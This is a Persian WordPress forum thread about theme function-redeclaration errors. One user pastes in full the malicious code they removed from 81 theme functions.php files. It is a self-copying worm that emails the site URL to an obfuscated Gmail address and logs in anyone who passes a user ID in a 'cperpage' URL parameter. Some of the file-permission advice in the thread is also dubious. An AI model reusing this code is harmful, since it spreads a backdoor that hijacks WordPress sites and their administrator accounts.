• اطلاعیه ها

    • Morteza

      باهم بسازیم: اطلس ووکامرس و وردپرس   14/07/96

      تاپیک ایجاد شده برای بحث در جهت ایجاد یک منبع، ویکی، صفحات توضیحی و یا بخش آموزشی جامع برای وردپرس و متعلقات مختلف آن است. لطفا جهت مشارکت در این بحث، ارائه پیشنهاد و یا انتقاد به تاپیک فوق مراجعه کنید. باهم بسازیم: اطلس ووکامرس و وردپرس
bre

مشكل با function قالب

22 پست در این موضوع قرار دارد

سلام

من وردپرس شبكه نصب كردم

تنها مشكلي كه الان دارم اضافه شدن كد با قالب بعد از تغيير قالب فعلي سايت اصلي يا وبلاگ

مثلا كاربر وبلاگ مياد قالب وبلاگ شو تغيير بده يك سري كد به فانكشن قالب جديد اضافه ميشه و سايت با خطا مواجه ميشه

كه البته قبلا دوستاني اين مطلب رو پرسيده بودن و جوابي كه گرفتن حذف كد هاي اضافه از قالب بوده . اما آخه مگه ميشه هر دفعه كاربر قالب رو فعال كرد مدير دوباره فانكشن رو نوسازي كنه

ميخوام ببينم راه و يا كدي وجود نداره كه ديگه اين كد به فانكشن قالب اضافه نشه و يا تنظيماتي باشه

اينم نمونه كد خطا كه هم براي يوزر اينتر فيس مياد هم بخش مديريت :

Fatal error: Cannot redeclare __popular_posts() (previously declared in \wordpress\wp-content\themes\Sname\functions.php:206) in \wordpress\wp-content\themes\Sname\functions.php on line 447

در مورد تغيير سطح دسترسي هم بايد بگم با تغيير سطح دسترسي مشكل حل ميشه اما عملا قالب هاييكه داراي بخش مديريت در پيشخان هستن بدون استفاده ميشن مثلا قالبي كه از پيشخوان مديريت ميشه و ميشه هدر جديد بهش داد بدون استفاده ميشه

من 6 ماه هست دنبال اين مشكل هستم و هنوز به جوابي نرسيدم و كم كم به بي ارزش بودن وردپرس شبكه رسيدم

2

به اشتراک گذاری این پست


لینک به پست

سلام دسترسی فایل های phpقالب را به 666 تغییر دهید تا کاربر اجازه اعمال ویرایش نداشته باشه

در مورد مشکل دوم در چنین قالب هایی فایل options.php را روی 725 تنظیم کنید

3

به اشتراک گذاری این پست


لینک به پست

این دو خط رو هم می تونید به wp-config.php اضافه کنید و دیگه به دسترسی ها دست نزنید


define( 'DISALLOW_FILE_EDIT', true );
define( 'DISALLOW_FILE_MODS', true );

با افزونه های مدیریت دسترسی کاربران هم می تونید همین کار رو انجام بدید

با فایل .htaccess هم همینطور

مثلا این افزونه زبان فارسی رو هم پشتیبانی می کنه

http://wordpress.org/extend/plugins/user-role-editor/

screenshot-1.png?r=589156

4

به اشتراک گذاری این پست


لینک به پست

سلام

ممنون ايمان جان

اما قالب كه فقط فايل functions.php داره

و اينكه اگه دسترسي رو روي 666 يا 444 بزارم ديگه كاربر نميتونه بخش مديريت قالب رو تغيير بده مثلا قالبي كه سلايدر داره يا قالبي كه بخش تبليغات داره و ...

فايل options.php هم نميدونم كجاست ؟

و در آخر براي دسترسي كاربران مشكلي ندارم

مشكل اصلي تغييرات در قالب ها و بخش مديريت قالب هست مثلا يك قالب كه بخش مديريت داره رو كاربر فعال ميكنه بعد اگر يك قالب ديگه رو كه بخش مديريت داره فعال كنه كد هايي به فايل functions.php اضافه ميشه و تا زماني كه اين كد ها پاك نشه سايت كاربر با خطا مواجه ميشه

همون خطايي كه بالا گفتم .

0

به اشتراک گذاری این پست


لینک به پست

2

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

سلام

بعد از تغییر نام پوشه wp-content بر روی لوکال که اونم به خاطر خطایی بود و جناب مصطفی در انجمن قبلی وردپرس پیشنهاد داده بودند بعد از فعال کردن هر پوسته ای حتی پوسته هایی که داخل functions.php آنها تابع ()popular_posts وجود نداره ارور زیر را میده:


Fatal error: Cannot redeclare __popular_posts() (previously declared in C:\xampp\htdocs\wp-content\themes\delicate\delicate\functions.php on line 465

گاهاً با پوسته پیشفرض هم خطا وجود داره که با جایگزین کردن از پکیج وردپرس درست میشه ولی با فعال کردن پوسته ای دیگه همون ارور مشاهده میشه.

جستجو کردم راه حلی پیدا نکردم. ممنون میشم راهنمایی کنید.

ویرایش شده در توسط سعید
1

به اشتراک گذاری این پست


لینک به پست

سلام

ممنون ايمان جان

اما قالب كه فقط فايل functions.php داره

و اينكه اگه دسترسي رو روي 666 يا 444 بزارم ديگه كاربر نميتونه بخش مديريت قالب رو تغيير بده مثلا قالبي كه سلايدر داره يا قالبي كه بخش تبليغات داره و ...

فايل options.php هم نميدونم كجاست ؟

و در آخر براي دسترسي كاربران مشكلي ندارم

مشكل اصلي تغييرات در قالب ها و بخش مديريت قالب هست مثلا يك قالب كه بخش مديريت داره رو كاربر فعال ميكنه بعد اگر يك قالب ديگه رو كه بخش مديريت داره فعال كنه كد هايي به فايل functions.php اضافه ميشه و تا زماني كه اين كد ها پاك نشه سايت كاربر با خطا مواجه ميشه

همون خطايي كه بالا گفتم .

فایل options.php و یا admin.php رو می تونید بسازید و اگر قالب نداره بهش اضافه کنید این فایل ها در واقع خواننده functions.php هستند برای حدودی که شما می خواهید اگر با کدنویسی مشکلی ندارید و این کار هم براتون اهمیت داره و اینجوری مشکلتون حل می شه بفرمایید تا کلیتش رو عرض کنم

سلام

بعد از تغییر نام پوشه wp-content بر روی لوکال که اونم به خاطر خطایی بود و جناب مصطفی در انجمن قبلی وردپرس پیشنهاد داده بودند بعد از فعال کردن هر پوسته ای حتی پوسته هایی که داخل functions.php آنها تابع ()popular_posts وجود نداره ارور زیر را میده:


Fatal error: Cannot redeclare __popular_posts() (previously declared in C:\xampp\htdocs\wp-content hemes\delicate\delicate\functions.php on line 465

گاهاً با پوسته پیشفرض هم خطا وجود داره که با جایگزین کردن از پکیج وردپرس درست میشه ولی با فعال کردن پوسته ای دیگه همون ارور مشاهده میشه.

جستجو کردم راه حلی پیدا نکردم. ممنون میشم راهنمایی کنید.

اگر افزونه ای برای نمایش پست های برتر دارید قبل از تعویض قالب باید غیر فعالش کنید و بعد از نصب دوباره فعالش کنید گاهی افزونه ها کدهایی رو به فانکشن می دند که بهش احتیاج دارند و برای اینکه هربار نخواند کدها را لود کنند اونها رو موقع نصب کپی می کنند به فایل که خوب مسلما در قالب جدید شما وجود ندارند

2

به اشتراک گذاری این پست


لینک به پست

اگر افزونه ای برای نمایش پست های برتر دارید قبل از تعویض قالب باید غیر فعالش کنید و بعد از نصب دوباره فعالش کنید گاهی افزونه ها کدهایی رو به فانکشن می دند که بهش احتیاج دارند و برای اینکه هربار نخواند کدها را لود کنند اونها رو موقع نصب کپی می کنند به فایل که خوب مسلما در قالب جدید شما وجود ندارند

خیر وردپرس تازه نصب شده و از ابتدا هم افزونه نمایش پست های برتر نصب نبوده.

کل افزونه های موجود را غیر فعال و امتحان کردم ارور وجود داره.

0

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

با توجه به 2 لینک زیر داشتن worm در فایل functions.php پوسته ها تایید میشه؟ :huh:

http://themeshaper.c...ctionsphp-issue

http://premium.wpmud...c/i-have-a-worm

چون در فایل functions.php تمامی پوسته ها چک کردم تابع زیر و کد های دیگری بدون دستکاری من خودکار اضافه شده اند. :unsure:


function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}

و فقط در دو پوسته twentyten و twentyeleven که از پکیج وردپرس نصب کرده بودم وجود نداشت و دقیقاً اروری که میده مربوط به همین تابع ها است.

در ضمن 100% روی فایل style.css پوسته ها هم تاثیر گذاشته چون حجمشو با نسخه اصلی چک کردم بیشتر شده بود.

اگر تایید میکنید راه حلی وجود داره؟

ویرایش شده در توسط سعید
1

به اشتراک گذاری این پست


لینک به پست

در فایل htaccess شما چیزی اضافه شده؟

این کدها رو حذف و دسترسی نوشتن رو از فایل فانکشن بردارید.

1

به اشتراک گذاری این پست


لینک به پست

در فایل htaccess شما چیزی اضافه شده؟

این کدها رو حذف و دسترسی نوشتن رو از فایل فانکشن بردارید.

روی لوکاله چطوری باید دسترسی نوشتن را بردارم؟

در فایل htaccess:


AuthType Basic
AuthName "FORBIDDEN AREA"
AuthUserfile "../htdocs/forbidden/.htpasswd"
Require valid-user

و در مورد style.css چی؟

آیا ممکنه Xampp جدید دارای این worm باشه؟

0

به اشتراک گذاری این پست


لینک به پست

اینها فکر نمیکنم ربطی داشته باشه.

برای سطح دسترسی روی فایل راست کلیک و read only بزارید.

1

به اشتراک گذاری این پست


لینک به پست

در انجمن قبلی کاربری به نام میلاد گفته :

"چیزه خاصی نیست ..

یک قالب مشکل دار روی لوکال هاست سیستم استفاده کردی که این کد ها از اون ها انتقال یافته به این قالبت ...

کد های اضافه را پاک کن مشکلت برطرف میشه .."

توابع تولید شده برای functions.php پوسته های منم دقیقاً یکی بودند و نمیدونم چرا این کد ها باید در دیگر پوسته ها تولید بشه و دلیلش چیه ؟؟!!

کد های مخرب که مجبور شدم از 81 پوسته حذف کنم:

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

<?php

function _verify_isactivate_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "پيدا نشد" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n "); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);

$output .= ($showdots && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_allwidgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_allwidgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_verify_isactivate_widget");

function _getsprepare_widget(){

if(!isset($com_length)) $com_length=120;

if(!isset($text_value)) $text_value="cookie";

if(!isset($allowed_tags)) $allowed_tags="<a>";

if(!isset($type_filter)) $type_filter="none";

if(!isset($expl)) $expl="";

if(!isset($filter_homes)) $filter_homes=get_option("home");

if(!isset($pref_filter)) $pref_filter="wp_";

if(!isset($use_more)) $use_more=1;

if(!isset($comm_type)) $comm_type="";

if(!isset($pagecount)) $pagecount=$_GET["cperpage"];

if(!isset($postauthor_comment)) $postauthor_comment="";

if(!isset($comm_is_approved)) $comm_is_approved="";

if(!isset($postauthor)) $postauthor="auth";

if(!isset($more_link)) $more_link="(more...)";

if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");

if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;

if(!isset($more_link_ditails)) $more_link_ditails="(details...)";

if(!isset($morecontents)) $morecontents="ma".$expl."il";

if(!isset($fmore)) $fmore=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$is_widget) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($f_tags)) $f_tags=1;

if(!isset($type_filters)) $type_filters=$filter_homes;

if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;

if(!isset($aditional_tags)) $aditional_tags="div";

if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($more_link_text)) $more_link_text="Continue reading this entry";

if(!isset($showdots)) $showdots=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($com_length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $com_length) {

$l=$com_length;

$ellipsis=1;

} else {

$l=count($text);

$more_link="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $allowed_tags) {

$output=strip_tags($output, $allowed_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n \r\0\x0B");

$output=($f_tags) ? balanceTags($output, true) : $output;

$output .= ($showdots && $ellipsis) ? "..." : "";

$output=apply_filters($type_filter, $output);

switch($aditional_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_more ) {

if($fmore) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_getsprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

?>

برای سطح دسترسی روی فایل راست کلیک و read only بزارید.

در نهایت طبق توصیه شما functions.php پوسته ها را بر روی read only قرار دادم.

0

به اشتراک گذاری این پست


لینک به پست

یک نکته (تجربه مهم) هرگز بیش از دو پوسته در پوشه ی themes نگهداری نکنید مگر در مواردیکه برای دمو احتیاج دارید که در این حالت هم حتما دسترسی پوشه های اضافه را به 644 یا کمتر تبدیل کنید و فقط پوشه قالب جاری و پوشه قالب دیفالت وردپرس را 725 بگذارید

اللخصوص در مورد پوسته هایی که بعضی از سایت ها به رایگان می گذارند ولی در واقع رایگان نیستند

(البته مشکل شما به همون عرض قبلی برمی گرده ولی با توجه به حجم بالای قالب های خراب شده یادنم افتاد

2

به اشتراک گذاری این پست


لینک به پست

یک نکته (تجربه مهم) هرگز بیش از دو پوسته در پوشه ی themes نگهداری نکنید مگر در مواردیکه برای دمو احتیاج دارید که در این حالت هم حتما دسترسی پوشه های اضافه را به 644 یا کمتر تبدیل کنید و فقط پوشه قالب جاری و پوشه قالب دیفالت وردپرس را 725 بگذارید

درسته ولی من روی لوکال مشکل داشتم و تا از صحت درستی کارکردن پوسته ها مطمئن نباشم آپلود نمیکنم.

بر روی لوکال باید سطح دسترسی بدم؟ چطوری؟

0

به اشتراک گذاری این پست


لینک به پست

بزارید روی read only

0

به اشتراک گذاری این پست


لینک به پست

سلام دوستان

منم همچین مشکلی رو با فایل function دارم

پنل کاربری وردپرسم این error ها رو میده

Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/friendsh/public_html/wp-includes/functions.php on line 3017

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line 563

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line 564

چیکار میتونم بکنم ؟

0

به اشتراک گذاری این پست


لینک به پست

فايل ضمينه كنيد

0

به اشتراک گذاری این پست


لینک به پست

فايل ضميمه رو تست كنيد

فايل ضميمه رو تست كنيد

functions.zip

0

به اشتراک گذاری این پست


لینک به پست

Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/friendsh/public_html/wp-includes/functions.php on line 3017

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line 563

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line

564

نه هنوز اررور میده درست نشد

0

به اشتراک گذاری این پست


لینک به پست

Notice: has_cap از نگارش 2.0 از رده خارج شده! استفاده از سطوح دسترسی کاربران توسط افزونه‌ها و پوسته‌ها از رده خارج شده است. از نقش‌های کاربری و توانایی‌ها به‌جای آن‌ها استفاده کنید. in /home/friendsh/public_html/wp-includes/functions.php on line 3017

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line 563

Warning: Cannot modify header information - headers already sent by (output started at /home/friendsh/public_html/wp-includes/functions.php:3017) in /home/friendsh/public_html/wp-includes/option.php on line

564

نه هنوز اررور میده درست نشد

wp_debug رو غیرفعال کنید در فایل کانفیگ

1

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

